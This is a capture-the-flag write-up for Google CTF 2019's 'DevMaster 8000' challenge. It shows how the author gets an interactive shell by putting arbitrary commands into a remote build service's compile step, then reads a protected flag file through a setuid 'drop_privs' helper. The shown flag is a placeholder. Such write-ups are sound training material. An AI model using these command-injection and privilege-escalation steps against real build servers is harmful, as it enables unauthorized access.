Rating: 0

# Google CTF 2019 - DevMaster 8000

This write-up talks most likely about the intended solution for this challenge.

## Description
```
Welcome to the DevMaster 8000, your one-stop shop for building your binaries in the cloud!

I wonder who else might be sharing the DevMaster 8000.

nc devmaster.ctfcompetition.com 1337
```

## Thought process

### Initial recon
Important points:
>building your binaries in the cloud!

>I wonder who else might be sharing the DevMaster 8000.

So they build binaries for you, and they give you a hint that someone else (probably an automated intended process) is using that same machine.

First thing to do is to download the attachment and see what's inside. You are welcomed with a huge amount of information, in specific, documentation in a `README.md` file.

After skimming through the file you can see the program can be used this way:
```
client nc <ip> <port> -- header.h source.cc -- my_binary -- g++ source.cc -o my_binary
```

So we run something like:
```
./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- g++ test.c -o test
```

Contents of `test.c`:
```
#include <iostream>

int main(){
std::cout << "Hello world!" << std::endl;
}
```

This returns a binary with the name `test` on our current directory.

### RCE

We can see that the last part of that command (`g++ test.c -o test`) smells fishy, so we try modifying that a bit and send:
```
./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- whoami
```

Output:
```
sandbox-runner-0
Received unexpected opcode 1836213620 from server.
[...]
Received unexpected opcode 1818326560 from server.
```

Great! Seems like arbitrary command execution, now we'll try modifying that command a bit.
```
./client nc devmaster.ctfcompetition.com 1337 -- test.c -- test -- bash 2> /dev/null
```

This rewards us with an interactive shell.

### LPE

After exploring the file system for a bit we run a `ls -lah` on `/home/user/` and see this output:
```
ls -lah
total 1.7M
drwxrwxr-x 3 root root 360 Jun 19 21:13 .
drwxrwxrwt 3 root root 60 Jun 26 09:11 ..
-r-xr-xr-- 1 admin admin 56K Jun 26 09:12 admin
-r-xr-xr-- 1 root root 2.3K May 30 06:10 admin.cc
-r-xr-xr-- 1 root root 76K Jun 19 21:05 admin_builder_client
drwxrwxr-x 6 root root 120 Jun 26 09:12 builds
-r-xr-xr-- 1 root root 1.6K May 30 20:36 challenge.sh
-r-xr-xr-- 1 root root 85K Jun 19 21:05 client
-rwsr-sr-- 1 root root 13K Jun 19 21:05 drop_privs
-r-xr-xr-- 1 root root 24K Jun 19 21:05 executor
-r-xr-xr-- 1 root root 1.1K Jun 19 02:45 file_setup.sh
-r--r----- 1 admin admin 64 Mar 26 01:35 flag
-r-xr-xr-- 1 root root 1.3M Jun 19 21:05 linux-sandbox
-r-xr-xr-- 1 root root 68K Jun 19 21:05 multiplexer
-r-xr-xr-- 1 root root 1.3K Jun 19 02:45 nsjail_setup.sh
-r-xr-xr-- 1 root root 13K Mar 26 00:59 picosha2.h
-r-xr-xr-- 1 root root 106K Jun 19 21:05 server
-r-xr-xr-- 1 root root 724 May 28 01:41 target_loop.sh
```

`drop_privs` sticks out as a binary with the execute and setuid bit set for user and group root.

Luckily when we run `id` we see that we are in the group root for some reason:
```
uid=1338(sandbox-runner-0) gid=1338(sandbox-runner-0) groups=1338(sandbox-runner-0),0(root)
```

Since we have the `drop_privs` source code, we can just check it (`src/drop_privs.cc`) to see what it does.

We see the string `std::cerr << "Usage: " << argv[0] << " user group command [args...]" << std::endl;` so we try to execute:
```
./drop_privs admin admin cat /home/user/flag
```

And the output is unsurprisingly the flag.
```
CTF{x}
```

The binary does literally just run the command you specify with the permissions from user and group you specify if they exist.

evandrix – June 28, 2019, 12:10 a.m.

flag is `CTF{x}`? lol